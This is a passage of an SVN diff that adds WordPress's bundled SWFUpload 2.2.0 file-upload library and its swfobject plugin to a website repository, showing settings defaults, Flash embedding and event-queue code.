r={};r.id=u;r.swfVersion=q;r.expressInstall=t?t:false;N[N.length]=r;W(u,false)},getObjectById:function(v){var q=null;if(h.w3cdom){var t=C(v);if(t){var u=t.getElementsByTagName(Q)[0];if(!u||(u&&typeof t.SetVariable!=b)){q=t}else{if(typeof u.SetVariable!=b){q=u}}}}return q},embedSWF:function(x,AE,AB,AD,q,w,r,z,AC){if(!h.w3cdom||!x||!AE||!AB||!AD||!q){return }AB+="";AD+="";if(c(q)){W(AE,false);var AA={};if(AC&&typeof AC===Q){for(var v in AC){if(AC[v]!=Object.prototype[v]){AA[v]=AC[v]}}}AA.data=x;AA.width=AB;AA.height=AD;var y={};if(z&&typeof z===Q){for(var u in z){if(z[u]!=Object.prototype[u]){y[u]=z[u]}}}if(r&&typeof r===Q){for(var t in r){if(r[t]!=Object.prototype[t]){if(typeof y.flashvars!=b){y.flashvars+="&"+t+"="+r[t]}else{y.flashvars=t+"="+r[t]}}}}f(function(){U(AA,y,AE);if(AA.id==AE){W(AE,true)}})}else{if(w&&!A&&c("6.0.65")&&(h.win||h.mac)){A=true;W(AE,false);f(function(){var AF={};AF.id=AF.altContentId=AE;AF.width=AB;AF.height=AD;AF.expressInstall=w;k(AF)})}}},getFlashPlayerVersion:function(){return{major:h.pv[0],minor:h.pv[1],release:h.pv[2]}},hasFlashPlayerVersion:c,createSWF:function(t,r,q){if(h.w3cdom){return U(t,r,q)}else{return undefined}},removeSWF:function(q){if(h.w3cdom){X(q)}},createCSS:function(r,q){if(h.w3cdom){V(r,q)}},addDomLoadEvent:f,addLoadEvent:R,getQueryParamValue:function(v){var u=K.location.search||K.location.hash;if(v==null){return g(u)}if(u){var t=u.substring(1).split("&");for(var r=0;r<t.length;r++){if(t[r].substring(0,t[r].indexOf("="))==v){return g(t[r].substring((t[r].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(A&&M){var q=C(m);if(q){q.parentNode.replaceChild(M,q);if(l){W(l,true);if(h.ie&&h.win){M.style.display="block"}}M=null;l=null;A=false}}}}}();
+// swfupload.swfobject
+var SWFUpload;if(typeof(SWFUpload)==="function"){SWFUpload.onload=function(){};swfobject.addDomLoadEvent(function(){if(typeof(SWFUpload.onload)==="function"){SWFUpload.onload.call(window)}});SWFUpload.prototype.initSettings=(function(a){return function(){if(typeof(a)==="function"){a.call(this)}this.ensureDefault=function(c,b){this.settings[c]=(this.settings[c]==undefined)?b:this.settings[c]};this.ensureDefault("minimum_flash_version","9.0.28");this.ensureDefault("swfupload_pre_load_handler",null);this.ensureDefault("swfupload_load_failed_handler",null);delete this.ensureDefault}})(SWFUpload.prototype.initSettings);SWFUpload.prototype.loadFlash=function(a){return function(){var b=swfobject.hasFlashPlayerVersion(this.settings.minimum_flash_version);if(b){this.queueEvent("swfupload_pre_load_handler");if(typeof(a)==="function"){a.call(this)}}else{this.queueEvent("swfupload_load_failed_handler")}}}(SWFUpload.prototype.loadFlash)};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/swfupload.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/swfupload.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/swfupload.js	(revision 44)
@@ -0,0 +1,980 @@
+/**
+ * SWFUpload: http://www.swfupload.org, http://swfupload.googlecode.com
+ *
+ * mmSWFUpload 1.0: Flash upload dialog - http://profandesign.se/swfupload/,  http://www.vinterwebb.se/
+ *
+ * SWFUpload is (c) 2006-2007 Lars Huring, Olov Nilzén and Mammon Media and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ * SWFUpload 2 is (c) 2007-2008 Jake Roberts and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ */
+
+
+/* ******************* */
+/* Constructor & Init  */
+/* ******************* */
+var SWFUpload;
+
+if (SWFUpload == undefined) {
+	SWFUpload = function (settings) {
+		this.initSWFUpload(settings);
+	};
+}
+
+SWFUpload.prototype.initSWFUpload = function (settings) {
+	try {
+		this.customSettings = {};	// A container where developers can place their own settings associated with this instance.
+		this.settings = settings;
+		this.eventQueue = [];
+		this.movieName = "SWFUpload_" + SWFUpload.movieCount++;
+		this.movieElement = null;
+
+
+		// Setup global control tracking
+		SWFUpload.instances[this.movieName] = this;
+
+		// Load the settings.  Load the Flash movie.
+		this.initSettings();
+		this.loadFlash();
+		this.displayDebugInfo();
+	} catch (ex) {
+		delete SWFUpload.instances[this.movieName];
+		throw ex;
+	}
+};
+
+/* *************** */
+/* Static Members  */
+/* *************** */
+SWFUpload.instances = {};
+SWFUpload.movieCount = 0;
+SWFUpload.version = "2.2.0 2009-03-25";
+SWFUpload.QUEUE_ERROR = {
+	QUEUE_LIMIT_EXCEEDED	  		: -100,
+	FILE_EXCEEDS_SIZE_LIMIT  		: -110,
+	ZERO_BYTE_FILE			  		: -120,
+	INVALID_FILETYPE		  		: -130
+};
+SWFUpload.UPLOAD_ERROR = {
+	HTTP_ERROR				  		: -200,
+	MISSING_UPLOAD_URL	      		: -210,
+	IO_ERROR				  		: -220,
+	SECURITY_ERROR			  		: -230,
+	UPLOAD_LIMIT_EXCEEDED	  		: -240,
+	UPLOAD_FAILED			  		: -250,
+	SPECIFIED_FILE_ID_NOT_FOUND		: -260,
+	FILE_VALIDATION_FAILED	  		: -270,
+	FILE_CANCELLED			  		: -280,
+	UPLOAD_STOPPED					: -290
+};
+SWFUpload.FILE_STATUS = {
+	QUEUED		 : -1,
+	IN_PROGRESS	 : -2,
+	ERROR		 : -3,
+	COMPLETE	 : -4,
+	CANCELLED	 : -5
+};
+SWFUpload.BUTTON_ACTION = {
+	SELECT_FILE  : -100,
+	SELECT_FILES : -110,
+	START_UPLOAD : -120
+};
+SWFUpload.CURSOR = {
+	ARROW : -1,
+	HAND : -2
+};
+SWFUpload.WINDOW_MODE = {
+	WINDOW : "window",
+	TRANSPARENT : "transparent",
+	OPAQUE : "opaque"
+};
+
+// Private: takes a URL, determines if it is relative and converts to an absolute URL
+// using the current site. Only processes the URL if it can, otherwise returns the URL untouched
+SWFUpload.completeURL = function(url) {
+	if (typeof(url) !== "string" || url.match(/^https?:\/\//i) || url.match(/^\//)) {
+		return url;
+	}
+	
+	var currentURL = window.location.protocol + "//" + window.location.hostname + (window.location.port ? ":" + window.location.port : "");
+	
+	var indexSlash = window.location.pathname.lastIndexOf("/");
+	if (indexSlash <= 0) {
+		path = "/";
+	} else {
+		path = window.location.pathname.substr(0, indexSlash) + "/";
+	}
+	
+	return /*currentURL +*/ path + url;
+	
+};
+
+
+/* ******************** */
+/* Instance Members  */
+/* ******************** */
+
+// Private: initSettings ensures that all the
+// settings are set, getting a default value if one was not assigned.
+SWFUpload.prototype.initSettings = function () {
+	this.ensureDefault = function (settingName, defaultValue) {
+		this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName];
+	};
+	
+	// Upload backend settings
+	this.ensureDefault("upload_url", "");
+	this.ensureDefault("preserve_relative_urls", false);
+	this.ensureDefault("file_post_name", "Filedata");
+	this.ensureDefault("post_params", {});
+	this.ensureDefault("use_query_string", false);
+	this.ensureDefault("requeue_on_error", false);
+	this.ensureDefault("http_success", []);
+	this.ensureDefault("assume_success_timeout", 0);
+	
+	// File Settings
+	this.ensureDefault("file_types", "*.*");
+	this.ensureDefault("file_types_description", "All Files");
+	this.ensureDefault("file_size_limit", 0);	// Default zero means "unlimited"
+	this.ensureDefault("file_upload_limit", 0);
+	this.ensureDefault("file_queue_limit", 0);
+
+	// Flash Settings
+	this.ensureDefault("flash_url", "swfupload.swf");
+	this.ensureDefault("prevent_swf_caching", true);
+	
+	// Button Settings
+	this.ensureDefault("button_image_url", "");
+	this.ensureDefault("button_width", 1);
+	this.ensureDefault("button_height", 1);
+	this.ensureDefault("button_text", "");
+	this.ensureDefault("button_text_style", "color: #000000; font-size: 16pt;");
+	this.ensureDefault("button_text_top_padding", 0);
+	this.ensureDefault("button_text_left_padding", 0);
+	this.ensureDefault("button_action", SWFUpload.BUTTON_ACTION.SELECT_FILES);
+	this.ensureDefault("button_disabled", false);
+	this.ensureDefault("button_placeholder_id", "");
+	this.ensureDefault("button_placeholder", null);
+	this.ensureDefault("button_cursor", SWFUpload.CURSOR.ARROW);
+	this.ensureDefault("button_window_mode", SWFUpload.WINDOW_MODE.WINDOW);
+	
+	// Debug Settings
+	this.ensureDefault("debug", false);
+	this.settings.debug_enabled = this.settings.debug;	// Here to maintain v2 API
+	
+	// Event Handlers
+	this.settings.return_upload_start_handler = this.returnUploadStart;
+	this.ensureDefault("swfupload_loaded_handler", null);
+	this.ensureDefault("file_dialog_start_handler", null);
+	this.ensureDefault("file_queued_handler", null);
+	this.ensureDefault("file_queue_error_handler", null);
+	this.ensureDefault("file_dialog_complete_handler", null);
+	
+	this.ensureDefault("upload_start_handler", null);
+	this.ensureDefault("upload_progress_handler", null);
+	this.ensureDefault("upload_error_handler", null);
+	this.ensureDefault("upload_success_handler", null);
+	this.ensureDefault("upload_complete_handler", null);
+	
+	this.ensureDefault("debug_handler", this.debugMessage);
+
+	this.ensureDefault("custom_settings", {});
+
+	// Other settings
+	this.customSettings = this.settings.custom_settings;
+	
+	// Update the flash url if needed
+	if (!!this.settings.prevent_swf_caching) {
+		this.settings.flash_url = this.settings.flash_url + (this.settings.flash_url.indexOf("?") < 0 ? "?" : "&") + "preventswfcaching=" + new Date().getTime();
+	}
+	
+	if (!this.settings.preserve_relative_urls) {
+		//this.settings.flash_url = SWFUpload.completeURL(this.settings.flash_url);	// Don't need to do this one since flash doesn't look at it
+		this.settings.upload_url = SWFUpload.completeURL(this.settings.upload_url);
+		this.settings.button_image_url = SWFUpload.completeURL(this.settings.button_image_url);
+	}
+	
+	delete this.ensureDefault;
+};
+
+// Private: loadFlash replaces the button_placeholder element with the flash movie.
+SWFUpload.prototype.loadFlash = function () {
+	var targetElement, tempParent;
+
+	// Make sure an element with the ID we are going to use doesn't already exist
+	if (document.getElementById(this.movieName) !== null) {
+		throw "ID " + this.movieName + " is already in use. The Flash Object could not be added";
+	}
+
+	// Get the element where we will be placing the flash movie
+	targetElement = document.getElementById(this.settings.button_placeholder_id) || this.settings.button_placeholder;
+
+	if (targetElement == undefined) {
+		throw "Could not find the placeholder element: " + this.settings.button_placeholder_id;
+	}
+
+	// Append the container and load the flash
+	tempParent = document.createElement("div");
+	tempParent.innerHTML = this.getFlashHTML();	// Using innerHTML is non-standard but the only sensible way to dynamically add Flash in IE (and maybe other browsers)
+	targetElement.parentNode.replaceChild(tempParent.firstChild, targetElement);
+
+	// Fix IE Flash/Form bug
+	if (window[this.movieName] == undefined) {
+		window[this.movieName] = this.getMovieElement();
+	}
+	
+};
+
+// Private: getFlashHTML generates the object tag needed to embed the flash in to the document
+SWFUpload.prototype.getFlashHTML = function () {
+	// Flash Satay object syntax: http://www.alistapart.com/articles/flashsatay
+	return ['<object id="', this.movieName, '" type="application/x-shockwave-flash" data="', this.settings.flash_url, '" width="', this.settings.button_width, '" height="', this.settings.button_height, '" class="swfupload">',
+				'<param name="wmode" value="', this.settings.button_window_mode, '" />',
+				'<param name="movie" value="', this.settings.flash_url, '" />',
+				'<param name="quality" value="high" />',
+				'<param name="menu" value="false" />',
+				'<param name="allowScriptAccess" value="always" />',
+				'<param name="flashvars" value="' + this.getFlashVars() + '" />',
+				'</object>'].join("");
+};
+
+// Private: getFlashVars builds the parameter string that will be passed
+// to flash in the flashvars param.
+SWFUpload.prototype.getFlashVars = function () {
+	// Build a string from the post param object
+	var paramString = this.buildParamString();
+	var httpSuccessString = this.settings.http_success.join(",");
+	
+	// Build the parameter string
+	return ["movieName=", encodeURIComponent(this.movieName),
+			"&amp;uploadURL=", encodeURIComponent(this.settings.upload_url),
+			"&amp;useQueryString=", encodeURIComponent(this.settings.use_query_string),
+			"&amp;requeueOnError=", encodeURIComponent(this.settings.requeue_on_error),
+			"&amp;httpSuccess=", encodeURIComponent(httpSuccessString),
+			"&amp;assumeSuccessTimeout=", encodeURIComponent(this.settings.assume_success_timeout),
+			"&amp;params=", encodeURIComponent(paramString),
+			"&amp;filePostName=", encodeURIComponent(this.settings.file_post_name),
+			"&amp;fileTypes=", encodeURIComponent(this.settings.file_types),
+			"&amp;fileTypesDescription=", encodeURIComponent(this.settings.file_types_description),
+			"&amp;fileSizeLimit=", encodeURIComponent(this.settings.file_size_limit),
+			"&amp;fileUploadLimit=", encodeURIComponent(this.settings.file_upload_limit),
+			"&amp;fileQueueLimit=", encodeURIComponent(this.settings.file_queue_limit),
+			"&amp;debugEnabled=", encodeURIComponent(this.settings.debug_enabled),
+			"&amp;buttonImageURL=", encodeURIComponent(this.settings.button_image_url),
+			"&amp;buttonWidth=", encodeURIComponent(this.settings.button_width),
+			"&amp;buttonHeight=", encodeURIComponent(this.settings.button_height),
+			"&amp;buttonText=", encodeURIComponent(this.settings.button_text),
+			"&amp;buttonTextTopPadding=", encodeURIComponent(this.settings.button_text_top_padding),
+			"&amp;buttonTextLeftPadding=", encodeURIComponent(this.settings.button_text_left_padding),
+			"&amp;buttonTextStyle=", encodeURIComponent(this.settings.button_text_style),
+			"&amp;buttonAction=", encodeURIComponent(this.settings.button_action),
+			"&amp;buttonDisabled=", encodeURIComponent(this.settings.button_disabled),
+			"&amp;buttonCursor=", encodeURIComponent(this.settings.button_cursor)
+		].join("");
+};
+
+// Public: getMovieElement retrieves the DOM reference to the Flash element added by SWFUpload
+// The element is cached after the first lookup
+SWFUpload.prototype.getMovieElement = function () {
+	if (this.movieElement == undefined) {
+		this.movieElement = document.getElementById(this.movieName);
+	}
+
+	if (this.movieElement === null) {
+		throw "Could not find Flash element";
+	}
+	
+	return this.movieElement;
+};
+
+// Private: buildParamString takes the name/value pairs in the post_params setting object
+// and joins them up in to a string formatted "name=value&amp;name=value"
+SWFUpload.prototype.buildParamString = function () {
+	var postParams = this.settings.post_params; 
+	var paramStringPairs = [];
+
+	if (typeof(postParams) === "object") {
+		for (var name in postParams) {
+			if (postParams.hasOwnProperty(name)) {
+				paramStringPairs.push(encodeURIComponent(name.toString()) + "=" + encodeURIComponent(postParams[name].toString()));
+			}
+		}
+	}
+
+	return paramStringPairs.join("&amp;");
+};
+
+// Public: Used to remove a SWFUpload instance from the page. This method strives to remove
+// all references to the SWF, and other objects so memory is properly freed.
+// Returns true if everything was destroyed. Returns a false if a failure occurs leaving SWFUpload in an inconsistant state.
+// Credits: Major improvements provided by steffen
+SWFUpload.prototype.destroy = function () {
+	try {
+		// Make sure Flash is done before we try to remove it
+		this.cancelUpload(null, false);
+		
+
+		// Remove the SWFUpload DOM nodes
+		var movieElement = null;
+		movieElement = this.getMovieElement();
+		
+		if (movieElement && typeof(movieElement.CallFunction) === "unknown") { // We only want to do this in IE
+			// Loop through all the movie's properties and remove all function references (DOM/JS IE 6/7 memory leak workaround)
+			for (var i in movieElement) {
+				try {
+					if (typeof(movieElement[i]) === "function") {
+						movieElement[i] = null;
+					}
+				} catch (ex1) {}
+			}
+
+			// Remove the Movie Element from the page
+			try {
+				movieElement.parentNode.removeChild(movieElement);
+			} catch (ex) {}
+		}
+		
+		// Remove IE form fix reference
+		window[this.movieName] = null;
+
+		// Destroy other references
+		SWFUpload.instances[this.movieName] = null;
+		delete SWFUpload.instances[this.movieName];
+
+		this.movieElement = null;
+		this.settings = null;
+		this.customSettings = null;
+		this.eventQueue = null;
+		this.movieName = null;
+		
+		
+		return true;
+	} catch (ex2) {
+		return false;
+	}
+};
+
+
+// Public: displayDebugInfo prints out settings and configuration
+// information about this SWFUpload instance.
+// This function (and any references to it) can be deleted when placing
+// SWFUpload in production.
+SWFUpload.prototype.displayDebugInfo = function () {
+	this.debug(
+		[
+			"---SWFUpload Instance Info---\n",
+			"Version: ", SWFUpload.version, "\n",
+			"Movie Name: ", this.movieName, "\n",
+			"Settings:\n",
+			"\t", "upload_url:               ", this.settings.upload_url, "\n",
+			"\t", "flash_url:                ", this.settings.flash_url, "\n",
+			"\t", "use_query_string:         ", this.settings.use_query_string.toString(), "\n",
+			"\t", "requeue_on_error:         ", this.settings.requeue_on_error.toString(), "\n",
+			"\t", "http_success:             ", this.settings.http_success.join(", "), "\n",
+			"\t", "assume_success_timeout:   ", this.settings.assume_success_timeout, "\n",
+			"\t", "file_post_name:           ", this.settings.file_post_name, "\n",
+			"\t", "post_params:              ", this.settings.post_params.toString(), "\n",
+			"\t", "file_types:               ", this.settings.file_types, "\n",
+			"\t", "file_types_description:   ", this.settings.file_types_description, "\n",
+			"\t", "file_size_limit:          ", this.settings.file_size_limit, "\n",
+			"\t", "file_upload_limit:        ", this.settings.file_upload_limit, "\n",
+			"\t", "file_queue_limit:         ", this.settings.file_queue_limit, "\n",
+			"\t", "debug:                    ", this.settings.debug.toString(), "\n",
+
+			"\t", "prevent_swf_caching:      ", this.settings.prevent_swf_caching.toString(), "\n",
+
+			"\t", "button_placeholder_id:    ", this.settings.button_placeholder_id.toString(), "\n",
+			"\t", "button_placeholder:       ", (this.settings.button_placeholder ? "Set" : "Not Set"), "\n",
+			"\t", "button_image_url:         ", this.settings.button_image_url.toString(), "\n",
+			"\t", "button_width:             ", this.settings.button_width.toString(), "\n",
+			"\t", "button_height:            ", this.settings.button_height.toString(), "\n",
+			"\t", "button_text:              ", this.settings.button_text.toString(), "\n",
+			"\t", "button_text_style:        ", this.settings.button_text_style.toString(), "\n",
+			"\t", "button_text_top_padding:  ", this.settings.button_text_top_padding.toString(), "\n",
+			"\t", "button_text_left_padding: ", this.settings.button_text_left_padding.toString(), "\n",
+			"\t", "button_action:            ", this.settings.button_action.toString(), "\n",
+			"\t", "button_disabled:          ", this.settings.button_disabled.toString(), "\n",
+
+			"\t", "custom_settings:          ", this.settings.custom_settings.toString(), "\n",
+			"Event Handlers:\n",
+			"\t", "swfupload_loaded_handler assigned:  ", (typeof this.settings.swfupload_loaded_handler === "function").toString(), "\n",
+			"\t", "file_dialog_start_handler assigned: ", (typeof this.settings.file_dialog_start_handler === "function").toString(), "\n",
+			"\t", "file_queued_handler assigned:       ", (typeof this.settings.file_queued_handler === "function").toString(), "\n",
+			"\t", "file_queue_error_handler assigned:  ", (typeof this.settings.file_queue_error_handler === "function").toString(), "\n",
+			"\t", "upload_start_handler assigned:      ", (typeof this.settings.upload_start_handler === "function").toString(), "\n",
+			"\t", "upload_progress_handler assigned:   ", (typeof this.settings.upload_progress_handler === "function").toString(), "\n",
+			"\t", "upload_error_handler assigned:      ", (typeof this.settings.upload_error_handler === "function").toString(), "\n",
+			"\t", "upload_success_handler assigned:    ", (typeof this.settings.upload_success_handler === "function").toString(), "\n",
+			"\t", "upload_complete_handler assigned:   ", (typeof this.settings.upload_complete_handler === "function").toString(), "\n",
+			"\t", "debug_handler assigned:             ", (typeof this.settings.debug_handler === "function").toString(), "\n"
+		].join("")
+	);
+};
+
+/* Note: addSetting and getSetting are no longer used by SWFUpload but are included
+	the maintain v2 API compatibility
+*/
+// Public: (Deprecated) addSetting adds a setting value. If the value given is undefined or null then the default_value is used.
+SWFUpload.prototype.addSetting = function (name, value, default_value) {
+    if (value == undefined) {
+        return (this.settings[name] = default_value);
+    } else {
+        return (this.settings[name] = value);
+	}
+};
+
+// Public: (Deprecated) getSetting gets a setting. Returns an empty string if the setting was not found.
+SWFUpload.prototype.getSetting = function (name) {
+    if (this.settings[name] != undefined) {
+        return this.settings[name];
+	}
+
+    return "";
+};
+
+
+
+// Private: callFlash handles function calls made to the Flash element.
+// Calls are made with a setTimeout for some functions to work around
+// bugs in the ExternalInterface library.
+SWFUpload.prototype.callFlash = function (functionName, argumentArray) {
+	argumentArray = argumentArray || [];
+	
+	var movieElement = this.getMovieElement();
+	var returnValue, returnString;
+
+	// Flash's method if calling ExternalInterface methods (code adapted from MooTools).
+	try {
+		returnString = movieElement.CallFunction('<invoke name="' + functionName + '" returntype="javascript">' + __flash__argumentsToXML(argumentArray, 0) + '</invoke>');
+		returnValue = eval(returnString);
+	} catch (ex) {
+		throw "Call to " + functionName + " failed";
+	}
+	
+	// Unescape file post param values
+	if (returnValue != undefined && typeof returnValue.post === "object") {
+		returnValue = this.unescapeFilePostParams(returnValue);
+	}
+
+	return returnValue;
+};
+
+/* *****************************
+	-- Flash control methods --
+	Your UI should use these
+	to operate SWFUpload
+   ***************************** */
+
+// WARNING: this function does not work in Flash Player 10
+// Public: selectFile causes a File Selection Dialog window to appear.  This
+// dialog only allows 1 file to be selected.
+SWFUpload.prototype.selectFile = function () {
+	this.callFlash("SelectFile");
+};
+
+// WARNING: this function does not work in Flash Player 10
+// Public: selectFiles causes a File Selection Dialog window to appear/ This
+// dialog allows the user to select any number of files
+// Flash Bug Warning: Flash limits the number of selectable files based on the combined length of the file names.
+// If the selection name length is too long the dialog will fail in an unpredictable manner.  There is no work-around
+// for this bug.
+SWFUpload.prototype.selectFiles = function () {
+	this.callFlash("SelectFiles");
+};
+
+
+// Public: startUpload starts uploading the first file in the queue unless
+// the optional parameter 'fileID' specifies the ID 
+SWFUpload.prototype.startUpload = function (fileID) {
+	this.callFlash("StartUpload", [fileID]);
+};
+
+// Public: cancelUpload cancels any queued file.  The fileID parameter may be the file ID or index.
+// If you do not specify a fileID the current uploading file or first file in the queue is cancelled.
+// If you do not want the uploadError event to trigger you can specify false for the triggerErrorEvent parameter.
+SWFUpload.prototype.cancelUpload = function (fileID, triggerErrorEvent) {
+	if (triggerErrorEvent !== false) {
+		triggerErrorEvent = true;
+	}
+	this.callFlash("CancelUpload", [fileID, triggerErrorEvent]);
+};
+
+// Public: stopUpload stops the current upload and requeues the file at the beginning of the queue.
+// If nothing is currently uploading then nothing happens.
+SWFUpload.prototype.stopUpload = function () {
+	this.callFlash("StopUpload");
+};
+
+/* ************************
+ * Settings methods
+ *   These methods change the SWFUpload settings.
+ *   SWFUpload settings should not be changed directly on the settings object
+ *   since many of the settings need to be passed to Flash in order to take
+ *   effect.
+ * *********************** */
+
+// Public: getStats gets the file statistics object.
+SWFUpload.prototype.getStats = function () {
+	return this.callFlash("GetStats");
+};
+
+// Public: setStats changes the SWFUpload statistics.  You shouldn't need to 
+// change the statistics but you can.  Changing the statistics does not
+// affect SWFUpload accept for the successful_uploads count which is used
+// by the upload_limit setting to determine how many files the user may upload.
+SWFUpload.prototype.setStats = function (statsObject) {
+	this.callFlash("SetStats", [statsObject]);
+};
+
+// Public: getFile retrieves a File object by ID or Index.  If the file is
+// not found then 'null' is returned.
+SWFUpload.prototype.getFile = function (fileID) {
+	if (typeof(fileID) === "number") {
+		return this.callFlash("GetFileByIndex", [fileID]);
+	} else {
+		return this.callFlash("GetFile", [fileID]);
+	}
+};
+
+// Public: addFileParam sets a name/value pair that will be posted with the
+// file specified by the Files ID.  If the name already exists then the
+// exiting value will be overwritten.
+SWFUpload.prototype.addFileParam = function (fileID, name, value) {
+	return this.callFlash("AddFileParam", [fileID, name, value]);
+};
+
+// Public: removeFileParam removes a previously set (by addFileParam) name/value
+// pair from the specified file.
+SWFUpload.prototype.removeFileParam = function (fileID, name) {
+	this.callFlash("RemoveFileParam", [fileID, name]);
+};
+
+// Public: setUploadUrl changes the upload_url setting.
+SWFUpload.prototype.setUploadURL = function (url) {
+	this.settings.upload_url = url.toString();
+	this.callFlash("SetUploadURL", [url]);
+};
+
+// Public: setPostParams changes the post_params setting
+SWFUpload.prototype.setPostParams = function (paramsObject) {
+	this.settings.post_params = paramsObject;
+	this.callFlash("SetPostParams", [paramsObject]);
+};
+
+// Public: addPostParam adds post name/value pair.  Each name can have only one value.
+SWFUpload.prototype.addPostParam = function (name, value) {
+	this.settings.post_params[name] = value;
+	this.callFlash("SetPostParams", [this.settings.post_params]);
+};
+
+// Public: removePostParam deletes post name/value pair.
+SWFUpload.prototype.removePostParam = function (name) {
+	delete this.settings.post_params[name];
+	this.callFlash("SetPostParams", [this.settings.post_params]);
+};
+
+// Public: setFileTypes changes the file_types setting and the file_types_description setting
+SWFUpload.prototype.setFileTypes = function (types, description) {
+	this.settings.file_types = types;
+	this.settings.file_types_description = description;
+	this.callFlash("SetFileTypes", [types, description]);
+};
+
+// Public: setFileSizeLimit changes the file_size_limit setting
+SWFUpload.prototype.setFileSizeLimit = function (fileSizeLimit) {
+	this.settings.file_size_limit = fileSizeLimit;
+	this.callFlash("SetFileSizeLimit", [fileSizeLimit]);
+};
+
+// Public: setFileUploadLimit changes the file_upload_limit setting
+SWFUpload.prototype.setFileUploadLimit = function (fileUploadLimit) {
+	this.settings.file_upload_limit = fileUploadLimit;
+	this.callFlash("SetFileUploadLimit", [fileUploadLimit]);
+};
+
+// Public: setFileQueueLimit changes the file_queue_limit setting
+SWFUpload.prototype.setFileQueueLimit = function (fileQueueLimit) {
+	this.settings.file_queue_limit = fileQueueLimit;
+	this.callFlash("SetFileQueueLimit", [fileQueueLimit]);
+};
+
+// Public: setFilePostName changes the file_post_name setting
+SWFUpload.prototype.setFilePostName = function (filePostName) {
+	this.settings.file_post_name = filePostName;
+	this.callFlash("SetFilePostName", [filePostName]);
+};
+
+// Public: setUseQueryString changes the use_query_string setting
+SWFUpload.prototype.setUseQueryString = function (useQueryString) {
+	this.settings.use_query_string = useQueryString;
+	this.callFlash("SetUseQueryString", [useQueryString]);
+};
+
+// Public: setRequeueOnError changes the requeue_on_error setting
+SWFUpload.prototype.setRequeueOnError = function (requeueOnError) {
+	this.settings.requeue_on_error = requeueOnError;
+	this.callFlash("SetRequeueOnError", [requeueOnError]);
+};
+
+// Public: setHTTPSuccess changes the http_success setting
+SWFUpload.prototype.setHTTPSuccess = function (http_status_codes) {
+	if (typeof http_status_codes === "string") {
+		http_status_codes = http_status_codes.replace(" ", "").split(",");
+	}
+	
+	this.settings.http_success = http_status_codes;
+	this.callFlash("SetHTTPSuccess", [http_status_codes]);
+};
+
+// Public: setHTTPSuccess changes the http_success setting
+SWFUpload.prototype.setAssumeSuccessTimeout = function (timeout_seconds) {
+	this.settings.assume_success_timeout = timeout_seconds;
+	this.callFlash("SetAssumeSuccessTimeout", [timeout_seconds]);
+};
+
+// Public: setDebugEnabled changes the debug_enabled setting
+SWFUpload.prototype.setDebugEnabled = function (debugEnabled) {
+	this.settings.debug_enabled = debugEnabled;
+	this.callFlash("SetDebugEnabled", [debugEnabled]);
+};
+
+// Public: setButtonImageURL loads a button image sprite
+SWFUpload.prototype.setButtonImageURL = function (buttonImageURL) {
+	if (buttonImageURL == undefined) {
+		buttonImageURL = "";
+	}
+	
+	this.settings.button_image_url = buttonImageURL;
+	this.callFlash("SetButtonImageURL", [buttonImageURL]);
+};
+
+// Public: setButtonDimensions resizes the Flash Movie and button
+SWFUpload.prototype.setButtonDimensions = function (width, height) {
+	this.settings.button_width = width;
+	this.settings.button_height = height;
+	
+	var movie = this.getMovieElement();
+	if (movie != undefined) {
+		movie.style.width = width + "px";
+		movie.style.height = height + "px";
+	}
+	
+	this.callFlash("SetButtonDimensions", [width, height]);
+};
+// Public: setButtonText Changes the text overlaid on the button
+SWFUpload.prototype.setButtonText = function (html) {
+	this.settings.button_text = html;
+	this.callFlash("SetButtonText", [html]);
+};
+// Public: setButtonTextPadding changes the top and left padding of the text overlay
+SWFUpload.prototype.setButtonTextPadding = function (left, top) {
+	this.settings.button_text_top_padding = top;
+	this.settings.button_text_left_padding = left;
+	this.callFlash("SetButtonTextPadding", [left, top]);
+};
+
+// Public: setButtonTextStyle changes the CSS used to style the HTML/Text overlaid on the button
+SWFUpload.prototype.setButtonTextStyle = function (css) {
+	this.settings.button_text_style = css;
+	this.callFlash("SetButtonTextStyle", [css]);
+};
+// Public: setButtonDisabled disables/enables the button
+SWFUpload.prototype.setButtonDisabled = function (isDisabled) {
+	this.settings.button_disabled = isDisabled;
+	this.callFlash("SetButtonDisabled", [isDisabled]);
+};
+// Public: setButtonAction sets the action that occurs when the button is clicked
+SWFUpload.prototype.setButtonAction = function (buttonAction) {
+	this.settings.button_action = buttonAction;
+	this.callFlash("SetButtonAction", [buttonAction]);
+};
+
+// Public: setButtonCursor changes the mouse cursor displayed when hovering over the button
+SWFUpload.prototype.setButtonCursor = function (cursor) {
+	this.settings.button_cursor = cursor;
+	this.callFlash("SetButtonCursor", [cursor]);
+};
+
+/* *******************************
+	Flash Event Interfaces
+	These functions are used by Flash to trigger the various
+	events.
+	
+	All these functions a Private.
+	
+	Because the ExternalInterface library is buggy the event calls
+	are added to a queue and the queue then executed by a setTimeout.
+	This ensures that events are executed in a determinate order and that
+	the ExternalInterface bugs are avoided.
+******************************* */
+
+SWFUpload.prototype.queueEvent = function (handlerName, argumentArray) {
+	// Warning: Don't call this.debug inside here or you'll create an infinite loop
+	
+	if (argumentArray == undefined) {
+		argumentArray = [];
+	} else if (!(argumentArray instanceof Array)) {
+		argumentArray = [argumentArray];
+	}
+	
+	var self = this;
+	if (typeof this.settings[handlerName] === "function") {
+		// Queue the event
+		this.eventQueue.push(function () {
+			this.settings[handlerName].apply(this, argumentArray);
+		});
+		
+		// Execute the next queued event
+		setTimeout(function () {
+			self.executeNextEvent();
+		}, 0);
+		
+	} else if (this.settings[handlerName] !== null) {
+		throw "Event handler " + handlerName + " is unknown or is not a function";
+	}
+};
+
+// Private: Causes the next event in the queue to be executed.  Since events are queued using a setTimeout
+// we must queue them in order to garentee that they are executed in order.
+SWFUpload.prototype.executeNextEvent = function () {
+	// Warning: Don't call this.debug inside here or you'll create an infinite loop
+
+	var  f = this.eventQueue ? this.eventQueue.shift() : null;
+	if (typeof(f) === "function") {
+		f.apply(this);
+	}
+};
+
+// Private: unescapeFileParams is part of a workaround for a flash bug where objects passed through ExternalInterface cannot have
+// properties that contain characters that are not valid for JavaScript identifiers. To work around this
+// the Flash Component escapes the parameter names and we must unescape again before passing them along.
